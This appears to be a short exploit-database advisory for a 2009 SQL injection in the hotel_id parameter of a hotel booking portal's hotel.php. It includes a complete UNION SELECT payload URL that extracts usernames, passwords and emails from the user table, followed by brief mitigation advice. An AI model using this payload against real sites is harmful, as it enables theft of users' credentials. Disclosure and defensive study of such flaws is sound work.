vendor:
Accommodation Hotel Booking Portal
by:
Mr.SQL
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Accommodation Hotel Booking Portal
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009
Remote SQL Injection Vulnerability ( hotel.php hotel_id )
The Accommodation Hotel Booking Portal is vulnerable to a remote SQL injection vulnerability. Attackers can exploit this vulnerability by sending malicious SQL queries to the vulnerable application. This can be done by appending malicious SQL queries to the vulnerable parameter 'hotel_id' in the URL. For example, www.TraGeT.CoM/hotel.php?hotel_id=1'+UNION+SELECT+0,0,0,0,0,CONCAT_WS(0x3a3a3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+user/*.
Mitigation:
Developers should ensure that user input is properly sanitized and validated before being used in SQL queries. Additionally, developers should use parameterized queries to prevent SQL injection attacks.
